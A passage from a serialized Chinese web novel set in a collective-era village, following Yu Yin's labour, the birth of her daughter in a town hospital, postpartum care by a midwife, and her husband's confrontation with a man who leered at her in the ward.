“我閨女不好吃懒做,我閨女勤快能干,去你家让干活也能干,还能给你家添个丁呢。”刘青青她娘翻了个白眼,“再说了,我閨女今年才二十三,正水灵着呢。” 这是嫌弃她儿子年纪大的意思贬低完她闺女,又嫌弃他儿子。 余阿娘顿时不乐意了,媒婆想拦她都看不住,就听她道:“就你那闺女,长得还没我闺女一半好看,还想要两百彩礼,我余春花话就放这了,你家要能要这么多彩礼把闺女嫁出去,我余春花往后改跟你家姓刘。什么人家啊,还真敢要,你们村彩礼最贵也就三十块,那也还是人家闺女长得那叫一个漂亮,嫁的是个傻子。” “我们余金就年龄大了点,那也是因为他在部队没上心这事,他长得一表人才,说实话,也就是因为他年纪的问题,要不我还看不上你家呢,也不看看自家的长得真跟那天仙似的,也就那样了。” 媒婆使劲扯着余阿娘一点用都没有,她说完这话,冷哼一声,就走了。 留那媒婆在那受刘青青她娘挨骂- 余阿娘说完除了痛快,也有些懊悔,自己这样会不会让余金更不好说亲。 王桂香好笑:“那你能忍住她嫌弃我哥年纪大,嫌弃我掉水里坏了家里名声吗?” “她也不照照镜子,看看自家闺女啥样子。”余阿娘拔高腔调。 余银觉得刘青青家虽然事多了,但余阿娘不该太冲动,她叹气道:“娘,下次说我你忍忍啊,毕竟也确实掉水里不太好看。” “有啥不好看的,有啥不好看的啊?”余阿娘道:“又不是光着身子跟人放在床上看着了,有啥见不得人的,人小游那是救你命呢,那以前还有男大夫给接生呢,咋也没见生完孩子那女的嫁给那大夫了呢,什么年代了,还搞思想封建那一套。” 余银没想到她会说出这样的话,不禁赞叹道:“娘,你这思想行,这思想好啊。” “什么思想啊?”游雾州回来的就听到余银这句话,一邊去洗手一邊问道。 “说娘在扫盲班没白上。”余银对他道。 余阿娘轻哼一声,解释道:“我是去学习新思想的,不是扫盲的。” 王桂香在一旁点头,“我是去扫盲的。” 余银笑了,刚笑两下她肚子就有些疼,表情变得有些不对。 “咋了,是不是要生了啊?”余阿娘见状不对,忙朝着院子里的游雾州道:“小游,小游,快去拿东西,好像要生了啊。” 王桂香赶紧去扶着她,让她靠着自己站好。 余银本就肚子有些疼,她娘在一说要生了,顿时有些心慌,“这,这就要生了?” 游雾州手在裤子上边擦边往屋里冲,拎起早已准备好的包,他们本来就打算这几天去医院住着的。 他 一手拎着包,一手去扶余银,“别慌啊,没事,没事。” 他说着别慌,可扶着余银的时候,自己却抖得厲害。 “游雾州,你别紧張,我这会儿就是肚子疼,羊水还没破,咱们先赶紧去医院。”余银冷静地说道。 这时候,他俩必须要有一个冷静的,她经历过王桂香生产,比游雾州有点经验。 这会只是肚子疼,应该还没要生,可能还在开指呢。 “哦哦哦,好。”游雾州有些慌乱地左右看了看,“推車还是自行車,我去拉推車吧,自行車我怕颠。” 余银握着他的胳膊拍了拍,声音有点颤,但可以放缓了说:“别紧张,去,去阿舅们院里把推车推过来,铺店干草和被子。” 游雾州点了下头,快步去拉推车铺被子干草。 见他过去,余银才忍不住轻声痛呼,“娘,舅母,真疼啊,我都快站不住了。” 王桂香和余阿娘见她那模样,还以为是孩子踢她了,估计可能还不会生呢,谁知道她都是强装的。 余阿娘两手都赶紧去撑着她:“桂香,你去叫青云来,一会跟小游换着推。” 王桂香见余阿娘扶穩了,才松开手去叫余阿舅了。 余银疼了额头沁出一层薄汗,余阿娘问她:“你这是咋个疼法,想上厕所的疼,还是肚皮拧着紧绷绷的疼啊。” “一阵一阵的,两个都有,我也说不上来,我感觉是真的要生了。” 余阿娘拿袖子给余银擦擦汗,“没事的啊,没事啊。” 游雾州这时候也把推车拉过来了,看着余银整个人疼的站不穩,都靠余阿娘身上,他把车停好,就去扶着余银另一边。 “车来了,咱们去医院啊,别害怕,没事的。” 余银忍着痛说:“我实在站不穩,你跟娘看看能把我抬上去不。” 她疼的厉害,腿都在强撑着站那,能感觉到,要是她迈开一小步,腿估计刚抬起来就软的倒那了。 游雾州和余阿娘听她的话,一个人抬着上身,一个人抬着腿,慢慢的把余银挪到推车那。 他把推车竖起来,让余银背靠着,然后在一点一点把余银和车慢慢放平。 等把余银弄到车上,王桂香也叫来了余阿舅。 游雾州拉着推车,对余阿舅说,“舅,你骑车把张穩婆给带去医院,我跟她说过的,余银我能拉着过去。” “咋还去医院还叫了稳婆?”余阿娘在推车后面推着说道。 “张稳婆接生过大胖有经验。”游雾州边拉着边说道。 余阿娘恍然大悟,“可不是呢,小桃嫩凶险都让张稳婆给接生出来了,带她也去医院。” “快去快去。”王桂香推了把余阿舅,“我和姐跟着去医院,你把俩小交代一下。” “诶,好。”余阿舅忙骑上车去。 余银躺在那,肚子疼的她话都不想说,余阿娘又从后边到侧边来,一手握着余银,一手推着。 “别害怕啊闺女,咱到医院里有生呢,不害怕啊。” 余银眨了眨眼,不禁抽了口气。 余阿娘握紧了她的手,“生孩子就是疼,你可要受次罪了。” “不说话啊,咱留着力气去医院生愿愿。” 余银忍着疼微微点头,她还没生都这么疼,那刚生完她就被赶出来的余阿娘。 当时是有多疼啊。 游雾州在前面走着,他都已经想提前去医院了,可是没想到孩子比他们想的还要提前。 幸好镇上医院离得不算太远。 一个多小时,终于到了,到了医院就开始找医生护士。 着急的都以为要生了,一问羊水还没破,就把余银拉到病房里看了一下,说还早呢,还要等着。 余银都疼的不行了,结果还不能生,强撑着冲游雾州道:“你去问问,什么时候能生,太疼了,我受不了了。” “我去,我去,让他在这陪着你。”余阿娘看了眼病房里还住着的其他人,说道。 游雾州上前去握着余银的手,柔声道:“你掐我,拧我,把劲往我身上使着,发泄发泄就没那么疼了。” 余银两手直接就抓向他的胳膊哀嚎。 余阿娘也带着医生过来了,刚才是护士给看的,这会是医生。 “疼多久了?”女医生问道。 “快一个半小时。”游雾州答道。 女医生看了游雾州一眼,摸了摸余银的肚子,又检查了一下她的情况,说道:“疼是正常的,有的人怕疼有的人不怕,她才开了两指,不知道到什么时候生呢,先等着吧。” “先等着什么意思,要等多久。”游雾州忙问道。 医生道:“看情况吧,有的人一两个小时,有的人要一天。” “就这么疼着,有能缓解的吗。”游雾州皱着眉,接着道。 那医生看了他一眼,摇头道:“不知道要多久,你们先给孕妇买点饭吃。” 说完,医生就走了。 游雾州拧着眉,面色有些苍白,他对余银道:“生完这一个,咱以后都不要了。” “你们咋可能就要一个孩子。”余阿娘在旁边道。 游雾州没管余阿娘说的,又重复了一遍,“以后就要这一个孩子,不再生了,太受罪了。” 旁边那床的人接话道:“要是个女娃娃,你们也不要了?生孩子哪有不受罪的,就是生的少了,你看我家的,生了四个了都,这都开五指了,一点都不疼。” 那男人一臉不在意,游雾州脸色阴沉地看了他一眼。 他闭上了嘴巴,转过头去。 余银眨了了湿漉漉的眼睛,微微摇头,小声道:“你要我生我也不生了,你想再要孩子,离婚去跟别人要吧。” 余阿娘也在旁边站着,听到这话,狠狠瞪了她一眼,要不是快生了,真想拍了两下,说的什么话这叫。 她看了眼游雾州神脸色,见他脸色凝重,声音低沉:“我不会。” 不会什么?不会离婚,还是不会和别人生,还是不会再要孩子。 余阿娘也不知道俩人平时私下都怎么相处,但看余银这离婚挂嘴边,估计是常有的事,就默不作声地往床尾移过去。 王桂香和稳婆没一会就回来了,余阿娘见到就他俩,还有些疑惑,“青云人呢?” “我让他去买饭了,张婶子说余银要吃点东西,就让他买饭了。”王桂香道。 游雾州见稳婆过来,就赶紧问她:“余银疼的厉害,能让她别那么疼吗?” 张稳婆道:“开几指了啊?” “两指。” “两指啊。”张稳婆咂舌道:“两指?!” 游雾州点头,“医生说不知道要多久才能生,能让她快点生吗,她疼的厉害。” 张产婆翻了个白眼,无奈道:“我又不是大罗神仙,她才两指,且等着吧。” 王桂香和余阿娘都是生产过的,也知道才开两指且还有的等呢,就帮着腔,“小游,两指确实还早,这疼也没办法,你不行多余银说说话。” “不行,让她省点力气,别说话。”张产婆道。 游雾州此刻就像热锅上的蚂蚁,急的不行,余银疼一颤一颤地,他却什么也做不了,只能干看着。 余银看着他眼底焦急,忍着痛,小声道:“你去找份报纸给我念念,我想听你说话。” 游雾州看着比她还要紧张的厉害,脸色看着甚至比她还难看。 他点了一下头,从床底的包里掏出报纸,就开始读。 第79章 第79章第一口奶不给孩子喝?…… 余银一直疼到了晚上的时候,她的羊水破了,才被推进了產房。 游雾州就跟在她身边,眼睛都不眨一下盯着她。 緊緊握着她的手,“没事的,不会有事的,不怕啊。” 余银看着他那泛红的眼睛,想开口安慰他,但疼痛感讓她说不出话来,眉头緊緊锁起来。 她回握着游雾州的手,都使不上力气。 游雾州的眼泪直接落了下来,他哽咽道:“我就在外面陪着你。” 余银苍白的臉上,笑容看着有些无力,她忍着疼,抬手輕輕抚上他湿润的眼角,用口型告诉他。 “我知道。” 一行人跟在后面,到了產房门口都被拦下来不能进去。 產房外面本来就有家属在等着,见到游雾州一个大男人哭了,忍不住道:“哭哭唧唧地没一点爷们样。” 游雾州听了,臉色顿时阴沉下来,冷飕飕地看了那人一眼。 那男人就是跟他们一个病房那人,他只到游雾州肩膀那么高,被他这样看了一眼,又默默闭上了嘴。 “我刚才就想说了,你个男人嘴怎么又贱又碎啊,你瞅你有个男人嗎?站着还没我高呢。”余阿娘道。 那男人气愤道:“你这娘们长得跟男人一样高还好意思 说,保不齐你男人就是讓你克死的。” “你说什么呢。”游雾州和余阿舅异口同声说道。 他俩个子又高,绷着臉步步紧逼,给那男人吓得顿时一个字都不敢说了。 余阿娘在他俩背后,不依不饶地说着:“你说啊,咋不说了,我们这会儿可都烦着呢,你接着再说两句。正好揍你发泄发泄,欺軟怕硬的小男人,没出息。” “还好意思说我克男人,你奶奶个腿的,老娘今就站着你跟,看能不能给你克死,我瞧着你那命也不是个硬。” 那男人缩在那一言不发,只能听着余阿娘骂他。 產房里一声声尖锐的哭喊声。 那是余银的声音,听的外头的游雾州几人的臉色愈发阴沉。 不知又过了多久,余银的声音再次传来。 “游雾州,你个混蛋!” “游雾州,我恨死你了!” “我不想生了!” 等在外面的游雾州听到余银叫骂,心里止不住的恐慌,他脚步焦急的在门口走着,想朝里面喊着回应她。 但医院要安静。 他心疼的要命,原来的余银一直都是哼哼唧唧的哭,这扯着嗓子大喊,他都能想象到余银这会儿是有多疼啊。 “她不会有事吧。”游雾州问接生婆。 医生不讓接生婆进去,游雾州只好讓接生婆也在外面等着。 接生婆摇头,“我又不在里面,我也不知道啥情况,不过头胎都要艰难些。” 游雾州听了不仅没安慰到,反正更加焦急,手握成拳头拍着,在产房门口走来走去。 余阿娘本来没这么焦,让他晃的心里也开始焦起来,“哎呦,小游啊,你可别晃了,晃的我也跟着心焦。” 游雾州一顿,眉头紧紧皱着,贴着门口的墙边站着。 仿佛挨的越近,越能感受到屋里的余银。 也不知道过了多久,产房里传来一阵嘹亮的哭声。 游雾州整个人不仅没卸力,反而更加紧張起来。 “生了,生了。”余阿娘和王桂香笑着喊道。 产房里的余银刚生下孩子,就累的昏了过去,连孩子都没看一眼。 護士打开产房门,对着门外的人道:“余银同志的家属在哪,孩子的衣服被子准备了嗎?” 游雾州把准备好的東西递给她,忙问道:“余银同志怎么样了,人没事吧,能跟她说句话,进去看看嗎?” 他一连串的问题砸向護士,都把人问了愣了一下,随即道:“你是家属吧,母女平安,把孩子的東西给我吧。” 游雾州只听到平安,他心里松了口气,只是见不到人,心里始终不安。 余阿娘和王桂香在他耳边说着什么,他一个字都听不进去。 又过了一会儿,产房门打开,護士从里面走出来,一个抱着孩子,一个推着床。 “余银同志家属是哪位。” 游雾州蹭的一下就过去看床上的人,余银睡的很沉,面色苍白看着疲惫虚弱,头发湿成一缕一缕贴在脸颊旁边。 他愣了一下,问護士:“她这是怎么了?” 护士解释道:“太累了,睡过去了。” 游雾州眼睫輕颤,抬起手在余银的鼻息试了下,心才安了下来。 护士和周围人看到这一幕,不禁有些汗颜。 抱着孩子的护士上前,笑道:“大人还要睡一会儿,先抱着孩子吧。” 游雾州小心翼翼地接过襁褓里的孩子,孩子刚出生小小的一团,很軟很软,他不敢用力,也不敢放松,姿势十分僵硬。 只抱了一下,余阿娘就接过去了,“行了行了,我来吧,刚出生的骨头软,你别抱坏了给。” 游雾州脸色讪讪,他帮着把余银推到病房里。 孩子有余阿娘照料着,游雾州一心就守着余银。 孩子已经生了,家里还有虎丫和余庆,就让余阿舅和王桂香先回去。 余阿舅临走前交代他们,“医院偷孩子的可不少,你们可看好了。” 游雾州顿时站起来,警惕道:“娘,你进去坐,我坐床尾看着。” 余银的病床靠着里面,但距离墙还有一个人宽展的空间,让余阿娘抱着孩子进去坐,比较安全些。 游雾州起来让位,余阿娘就和王桂香进去坐。 接生婆虽然没派上什么用场,但余银喂奶什么的还要靠她。 小孩子刚出来吸奶是吸不出来的,大人还容易堵奶,都需要经验丰富的产婆来帮忙。 “这第一口奶可是最好的,先别喂愿愿喝麦乳精,先喝奶。”余阿娘看着床上的余愿愿说道。 張接生婆说道:“是勒,这头一口奶最好,必须要让小孩子喝上。” 她掀开被子,看了眼,“她这奶水估计不行,你们明待让她喝点下奶的,不然孩子要饿着了。” 游雾州听着点头,他下午的时候已经让余阿舅给国营飯店的林表哥交代了,帮忙给做点下奶的。 他问接生婆,“那一口奶这么好,能不能给余银喝,孩子看着没余银更需要那第一口奶水。” 这个问题给接生婆和余阿娘都问懵了。 第一口奶是对身体很好的,孩子喝了对身体很好,不容易生病,可产妇明明比孩子要虚弱得多,那第一口奶那么好,不是更应該给产妇喝嗎。 余阿娘和接生婆面面相觑,不知該如何作答。 游雾州看了眼病床上的余银,说道:“愿愿肯定也会把那第一口奶,给余银的。” 張接生婆接生这么多年,就没见过要把孩子吃的第一口奶给产妇的。 不过他说的太有理,她也不好意思说什么。 余阿娘也被他说服,“我以前咋就没想到,生完孩子后,我可又累又虚弱的,那確实应该给生的人喝。” 就这样,还没挤出来的第一口奶,就决定给了余银- 余银这一覺睡了很久,但愿愿是要吃飯的,她在睡着的余银心口前,喝了好久,都吸不出来奶。 不过幸好他们带了麦乳精。 刚出生的孩子一般都是要么喂奶,要么喂米汤。 用麦乳精喂的很少,那都是城里有钱人才喂的。 毕竟刚出生的孩子,两个小时就要吃一次饭,虽然每次喝的不多,但也架不住这么个喝法啊,尤其是孩子最起码到快一岁,才能开始吃饭。 余银没有奶水,但还是要下奶,接生婆不下奶就容易堵着,一堵奶就要发烧,她现在属于月子期间,最好不要生病。 她有一套祖传的手法,专门通奶的。 游雾州问她:“那下奶的还要不要喝?” “也喝着。”張接生婆道:“毕竟是熬的汤,都是有营养的,接着喝。” 一看游雾州就是不差钱的,张接生婆低声补充道:“她生完身子虚,你家里多弄点老母鸡给她炖汤,还有那鱼,都别断,当然也不是光让喝汤,让她吃了肉,再喝汤溜溜缝。” 毕竟汤就是水,主要还是带吃肉,要是家里穷的,她肯定不这样说。 不过见游雾州是个舍得的,还是个对他媳妇好的,她才这么说。 游雾州听了记在心里,继续道:“还有什么吗?” “你家里缺她上工不?”张接生婆问道:“你那婆婆对你媳妇也怪好,这快到抢收了,等她做完月子就要上工不?” 游雾州解释道:“不是婆婆,那是我丈母。” “她不上工,家里不缺她这一个上工的,是等她生完也不去上工吗?” 余阿娘才给愿愿哄睡着,她笑道:“床上那是闺女,这是我女婿。” 张接生婆点头,心道难怪啊,就没见过哪家生了闺女,婆婆这么稀罕的。 她下意识就以为游雾州是上门女婿,估计也是余阿娘当家,就跟余阿娘说:“这坐月子,其实是最好坐双月子,你家这闺女身体不算好,也不算弱,但生完都虚的很,带好好养着,不然以后身体一堆小毛病。” 余阿娘看了眼游雾州,“双月子?坐两个月的月子吗。” 张接生婆点头,“六七十天最好,一点凉风都别见,好吃好喝都紧着她来,也一点别累着了。” 游雾州皱着眉道:“那是不是就是别累着,孩子反正能喝麦乳精,喂奶她要两个小时起来一次,直接给孩子喂麦乳精就行,不然她也容易累到。” 既然要养身体,那带孩子岂不是更累,她要想养好身体,最好别带孩子。 他是看了,愿愿还闹人的厉害,余银刚生完正虚弱着,孩子这两个月,她最好一点都别带。 张接生婆有些不知道该怎么说,其实不说给孩子喂奶了,产妇最好生完那一个月,少抱孩子。 生完孩子累的最狠就是腰腿,孩子又不是衣服輕飘飘地,还会越吃越壮实,抱孩子可不比下地轻松。 她眼珠转来转,说道:“总之,少让她累到,她做啥累,就少做。” “明白了。”游雾州点头,看向床上的余银。 这个时候,护士进来了,看着还没醒的余银,皱眉道:“还没醒吗?醒了先别让她吃东西,叫我们一声。” 游雾州朝人点点头,不过护士前脚刚离开,余银后脚就缓缓睁开眼了。 他就像是有感应般,朝余银看过去,对上她的视线,眼眶不自覺地一热,喉间发涩。 余银覺得自己就像是被碾碎过一样的浑身都疼。 她无力地眨了眨眼,“孩子呢?” 余银轻轻一动,就更疼了,脸色变得更白了。 游雾州忙上前,轻声道:“孩子睡着了,你先别动。” “醒了?我去叫护士。”余阿娘见她醒了,扭头就去叫护士。 余银的嗓子发紧,说话也有些沙哑,“我睡了多久?” “没多久,这会儿才刚到中午。”游雾州道。 他摸了摸余银的脸,接着道:“护士说你这会儿还不能吃东西,等护士看完应该就可以吃了,但也只能喝一些汤水。” 余银点了下头,“我想看下孩子,男孩还是女孩啊。” 游雾州顿了一下,“孩子睡着了,这会儿抱她就要醒了,晚一会儿再看,是个女孩。” 余银有些失落看不了孩子,但知道是女儿还挺开心的,她绷着脸对游雾州道:“是女孩我也不生了,你家要重男轻女想要男孩,你自己过去吧,我跟愿愿不要你。” 这一遭可真的太受罪了,她都不敢想自己是这么熬过来了。 整个人像是被生生撕开一样,太疼了实在是。 她是不想再受一次这种罪了。 就算是女儿也是她的孩子,她都没受过重男轻女的苦,更不可能让她的愿愿去受。 游雾州有些委屈,“我都没这么想过,是女儿是儿子,只要是咱们的孩子我都喜欢,都会一视同仁的。” 余银轻哼一声,“最好是。” 游雾州保证道:“肯定是,我说话什么时候不算话了。” 张接生婆听着他们夫妻俩的谈话笑了,说道:“我给你男人作证,他对你確实没得说,对你生的女儿也很好,一点没亏着。” 虽然孩子都是余阿娘照顾,怕游雾州照顾不好,但她都看到了,余阿娘怎么照顾的孩子,游雾州就在旁边认真的看着,有时候还会问余阿娘,为什么要这么做。 看得出来,虽然不让他插手,但这男人是在学怎么照顾他女儿。 余银抬手摸上她脸颊上男人的手,弯了弯眼,看着他泛红的眼,轻声道:“游雾州,我没事了,你该睡一会了。” 她看到游雾州因为害怕她出事哭了,这会看他下巴处的青茬,和那眼里的红血丝,估摸着一直没睡过。 她知道他在担心什么,但现在她醒了,他可以睡了。 游雾州的喉咙上下滚动,眼神不舍得从她脸上移开,“我还不困,没事的。” 护士跟余阿娘进来,看了眼游雾州和余银,说道:“男同志先过去,我要给余银同志摁肚子了。” “刀纸准备好了吗?”护士扭头问余阿娘。 游雾州从床底的包里掏出来,递给护士,他把床边的簾子拉起来,站在簾子外。 余银还有些没反应过来,身上的被子就被掀开,接着余阿娘把一沓刀子放在她屁股下,护士的手就摁了上去。 紧接着就是不亚于生孩子的痛,余银撕心裂肺的叫了两声。 游雾州在帘子外忙喊道:“怎么了?” “没事,没事,把脏东西摁出来呢。”张接生婆就赶紧回道,又对说:“忍着点,孩子醒了不好哄,你忍忍啊。” 余银闭了下眼就,咬着唇不敢在发出声音来。 索性这摁肚子的时间并不长久,她没收多久的罪就结束了,但那隐隐的痛感,好像还没消退。 护士拉开帘子出来,对游雾州道:“可以让她吃饭了。” 游雾州点点头,就对端起水壶给余银冲了一碗麦乳精晾着。 余银原来没体会过,不知道生孩子的感受,以为只有生的时候痛,她这体验了一次,才感觉到。 张接生婆见状,“左右肚子都摁开了,你这会正能忍着,我给你也通通奶来。” 余银半睁眼着眼,弱弱问了句,“疼吗?” “你这说的什么话,哪有不疼的。”张接生婆道。 余阿娘笑了,对她说:“没你生孩子疼就是。” 余银一咬牙,“来吧。” 左右这会正能忍着疼,就都弄了算了。 游雾州端着麦乳精正好喂余银,张接生婆就拉上帘子,对他道:“再晾会吧,我给她通通奶。” 张接生婆笑眯眯地拉下余银的被子,让她有种不好的预感。 果然,这三种疼都不同一般,疼起来都要人命啊。 余银着实后悔了,她被张接生婆这么再一摁,整个人都像是被从水里捞出来一样,出了许多汗。 她脸被憋的通红,唇上很深的齿印,眼睫湿漉漉地看着可怜极了。 游雾州满脸心疼,用热水打湿了毛巾给她擦擦脸和手,问张接生婆,“不喂奶了行不,她这太受罪了,这才刚生完孩子,就遭这么多嘴。” 虚弱极了的余银无力的睁开眼,眨了两下,游雾州问的正是她心里所想。 要是没奶,每天都要这么摁着,一直到出奶才行,那她宁愿不喂奶了。 张接生婆给他解释:“不是喂不喂的问题,你们要是不想喂就不喂,但是她这要通一下,不然你俩默默硬邦邦地,不管它更受罪。” 她又补充道:“你再拿热毛巾放上去,给热敷下。” 游雾州照做,把帘子拉着,用热水洗了下毛巾,放在余银身上。 她心口处确实看着不太一样,除了被张接生婆揉过后,红彤彤地,还能看得出来,有些因为肿着,而微微隆挺着。 热烫地毛巾放上去后,余银忍不住瑟缩了一下。 不过还挺舒服的。 她对游雾州道:“我想吃饺子了,要蘸醋和辣椒的饺子。” “过两天才能吃,但不能吃辣椒。”张接生婆道。 游雾州看了一眼余银,把麦乳精端过来,“先喝这个,两天后你能吃了,我就去给你买饺子。” 余银被游雾州喂着,她说道:“这个没味,我想喝你给我做的炒鸡蛋面糊汤。” 游雾州点了下头应着,然后又转脸看向张接生婆,见她点头,才笑着道:“还有其他想吃的吗?” 余银想了想,摇头,然后道:“就想吃这两个,你明天就做好不好。” 游雾州做的那个面糊是咸口的,鸡蛋和小葱一炒,和面糊煮在一起,出锅的时候再放一点点香油,简直不要太香了。 她咽了咽口水,仰着头,把那碗里的麦乳精喝完,“你回家睡会,晚上就做了拿过来吧,我晚上就想喝。” 游雾州等她喝完,把她嘴巴擦了擦,“那我让娘在这陪着你,去给你做饭。” “顺便给我也送回去,这也没我什么事了。”张接生婆接着道。 “您也走吗?”游雾州问道:“她这个不用再摁了吗?” 张接生婆狐疑道:“你们过两天不回家?我直接去你们家摁呗,这医院又不是啥好地方,待两天就行了。” 她话刚说完,睡着的余愿愿就醒了哭了起来。 余阿娘去洗碗了,游雾州赶紧去把她抱起来,这还是除了她刚出生那会儿抱的那一下,才抱上呢。 他看了余阿娘好几次面对余愿愿哭了怎么做的,现在倒也不显得多慌张生疏。 游雾州先摸了摸是不是尿了,确认没尿,把她抱在怀里,轻轻拍着包着她的小被子。 嘴里声音轻轻柔柔地,“愿愿不哭,愿愿不哭啊。” 他的动作很轻柔,虽然有些僵硬,但也是抱得少的缘故。 余银本来都想睡觉了,被这一哭,顿时也来了精神,她轻喊游雾州:“游雾州,我想看看愿愿。” 张接生婆见着游雾州挺有模有样地,就也没插手,还替他们给孩子冲了点麦乳精。 游雾州笑着将孩子抱给余银看,“你先别抱,刚生完没力气,容易累到你了。” 余愿愿哭的不行,红彤彤的小脸皱在一起,握成拳头的小手挥舞着。 余银看着她,轻轻抬手碰了碰她的脸,瞬间鼻尖一酸,哽咽道:“你看看她是饿了还是拉了,怎么哭的这么厉害。” 游雾州轻手轻脚地把她放在余银旁边,揭开包着的被子一看,果然是拉了。 他笑了下,对余银道:“是拉了,我去倒点水给她洗洗。” 刚出生的孩子拉的都是黏糊糊的,必须要洗,不能直接擦脸擦是擦不干净的,还要用温水洗。 游雾州也没一点不嫌弃,动作温柔细致,学着余阿娘的模样,给余愿愿擦洗了屁股的又去给她换尿布。 余阿娘回来的时候本想她来的,张接生婆拉住她,“你让你这女婿自己来,他又不是不会,你瞅他做的也挺好啊。” 见他确实做的挺好,有模有样的,余阿娘就也没上前帮忙。 游雾州换尿布虽然不熟练,但也不抬笨拙,他学得快,又用心记着,换好尿布后孩子也没刚才哭闹地厉害。 他给孩子弄好后,没有送回婴儿床,而是小心翼翼抱着去找余银,也不知道是不是母女的感应,孩子不哭闹了,还朝着余银的怀里方向蹭了蹭。 余银没看到孩子前,还觉得生孩子太受罪了,此刻她被余愿愿地这一小动作,弄的心软软的。 只觉得很值得。 她对着游雾州笑了下,然后再低头看着孩子,“感觉这罪没白受啊。” 游雾州眉眼温柔,他嘴角噙着笑看着余银,而余银看着孩子,孩子睁着眼看着他俩。 这画面让余阿娘看的眼也有些湿润,旁边的张接生婆道:“你女儿是个有福气的啊。” 第80章 第80章在医院碰到死变态了 在医院待了两天他们就回去了,余银原本也想要多住几天,只是病房里的味道实在不好闻。 那味道闻的她头晕惡心,本来就生完没有什么精神。 她在生完第三天就受不了。 余银喝了两口麦乳精就不想喝了,她把碗递给游雾州,“我们待会儿就回去吧。” “我难受得很,想回家去。” 这两天不进啥食,人更是連力气都没有,医生讓她下床走走,她都动不了一点。 游雾州给她擦了擦嘴,“医生要是说你可以回家了,那咱们等会儿就回去。” 余银点了点头,回家去还能休息的更好点,也不用担心谁来把孩子抱走了。 而且在家里,也不用担心自己光溜溜不小心被人看到。 病房里还有倆男的,有个男的眼神讓人看了很不舒服,而为每次看过去,那男的眼睛滴溜溜地转着,就像是她的错覺一样。 幸好游雾州寸步不离在她床邊。 人看似没做什么,但那一闪而过地视线令余银很不舒服的。左右她今也要走了,要是再这样,就走之前揍他一頓去。 “能下来走两步不?”游雾州问她。 余银动了动腿,讓游雾州给她穿好衣服,从床上抱下来,半搂半抱着讓她在床邊活动一下。 她两只腿站在那都打着颤,整个人全依赖着游雾州才能站稳,迈的步子也是极小的,跟在原地踏步似的。 每动一下,都要缓一会儿,喘会气。 余银还是很疼,虽然没有刚生完那天疼,但还是她忍受不了的疼。 不止腿疼,腰更是疼的直不起来。 没走几步,她就不行了,又让游雾州给她抱回床上。 余阿娘正在给余愿愿喂麦乳精,见她没下多久就又上去了,说道:“你在走两步,这是对你身体,疼了忍着点,走走好。” 余银在游雾州懷里气喘吁吁地说着:“不行了,再多一步都走不了,我没一点力气。” “你不吃飯哪来的力气。”余阿娘撇嘴道,她眼睛掃到那隔壁床的男人,等游雾州把余银弄到床上,她把孩子塞游雾州懷里,交代着:“哄着点啊。” 倆人还有些不明所以,就见余阿娘抬起手指着那男人,“你他娘的,我老婆观察你好几天了,你老婆在床上难受的不行,你一眼都不看,你往我闺女那看啥呢,你个杀千刀的。我今非叫民兵过来把你给抓走,不要臉,耍流氓。” 游雾州抱着孩子的手一頓,他转头看向隔壁床那男人。 他家孩子是早产生的,跟他们家是前后脚生的,游雾州一直没注意过,他的注意力全在余银和孩子身上。 此刻听到余阿娘说的,臉色頓时黑了下来,看向他的眼神迸射出寒意来。 那隔壁床的男人一双眼睛滴溜溜地转着,不等他张口反驳,就见游雾州把孩子往余阿娘怀里一放。 就朝他冲了过来,扯着他的衣领往外帶着。 余阿娘和余银都没反应过来,就见游雾州已经拖着人出去了。 “让他去吧,他有分寸的。”余银抬起头看了一眼,就又收回视线。 孩子吃完飯就犯困,余阿娘正哄着她,小声对余银道:“我是担心他下手不知轻重,打出个好歹来了。” 她这女婿一向谦和,也没见过他跟谁黑过臉,哪里见过他这么冲动的模样。 当真的也给他吓了一跳。 “那也是他活該。”余银冷声道,她一想到那男人的眼神,就惡心的要命。 要是游雾州知道了,还没一点反应,那余银就要重新考虑一下他了。 自己的媳妇都被欺负了,还能无动于衷,这样的男人断不能要。 要余银说,游雾州就該狠狠地揍一顿,她原本就打算走的时候,给游雾州说揍那人一顿的。 余阿娘知道游雾州有分寸,可这会儿万一气头上,谁知道能把人打成啥样。 那男人的媳妇躺那闭着眼,也不知道真睡着了还是装的。 她把孩子想往余银怀里放,又想到她这会儿也哄不了,有些坐立难安。 余银像是猜到了她在想什么,安慰道:“没事的,咱们占理,而且咱公安局认识的有人,不用担心。” 她的声调拔高,就是说给旁邊病床上装睡的女人,那女人听到了也当作没听到。 余阿娘还是有些不放心,但孩子又要哄,她 只能站在门口张望着游雾州把人帶哪去了。 游雾州这两天有感覺到背后似乎有双眼睛盯着,但他没看到这病房里有生人,就更加将注意力都放在孩子和余银身上。 谁知道是这男人,藏着些不该有的心思。 孕妇刚生完孩子,穿的都比较单一,身体曲线有些凸显,想到他盯着余银看,游雾州就怒火直窜大脑。 他神情阴郁将这男人拖进厕所,反手帶上了门。 游雾州上去一脚踹在那男人的下腹,他脚劲大,那男人被这一脚踹的瞬间起不来,弯着腰躺在地上哇哇叫。 他左右看了看,拿起厕所的掃把,就往那男人臉上掃,嗓音蕴含着冰冷气息。 “你这眼睛是不想要了啊。” 那扫把又骚又臭,可能帶着一些排泄物,地上的男人边抱着下腹,边头左右躲着那扫把,嘴里嚷嚷着,“你,你给我等着,我要去找民兵过来抓你。” 游雾州冷笑了下,“去找啊,看民兵过来是抓你还是抓我,毕竟耍流氓是要枪毙的。” “别说些你可没做什么,我叔叔是公安局长,我说你耍流氓,那你就耍流氓了。” 地上的男人真被他这番说辞给吓到了,毕竟他要是说的瞎话,也不敢这么放肆。 指不定他叔叔还真是公安局长,那可是他惹不起的,真给他枪毙了咋办啊。 他赶紧求饶,“我有眼无珠,我没敢乱看,就是看她长得好看,才才一时没忍住多看了两眼,对不住啊同志,我以后一定管好自己的眼,再也不见瞟了。” 游雾州信他的这套说辞吗?自然是一点都不信的,他把扫把往那男人脸上狠狠揉了几下,然后把扫把往他脸上一扔。 “扫把不准掉下来,我会盯着你的。” 说完他转身洗了洗手,嫌弃的甩了甩手,然后正了正衣服裤子,拉开门出去。 余银再见到游雾州,他带着医生一起过来了。 医生给余银检查了一下情况,跟他们说可以出院了。 “能出院了?那咱快收拾收拾走吧。”余银眼睛亮亮地说道。 游雾州点头,开始装她们的行李,旁边病床的女人,在游雾州回来后,睁眼看了看,又闭上了眼。 余银小声问游雾州,“那人呢,你把他怎么样了?” 游雾州抿了抿唇道:“没怎样,就让他在厕所待着不准出来惡心人。” 余阿娘抱着睡着的余愿愿,低声道:“没把人打坏吧?” 